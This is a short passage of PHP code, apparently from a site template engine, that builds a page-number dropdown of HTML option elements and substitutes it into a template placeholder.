$selStr = ''; if ($i == $nPage) { $selStr = ' selected'; } $cPages = $cPages . '<option value="' . $url . '"' . $selStr . '>' . $i . '</option>' . vbCrlf(); } $c = replace($c, '[$page-select-openlist$]', $cPages); } $webPageControl = $c . vbCrlf(); return @$webPageControl; }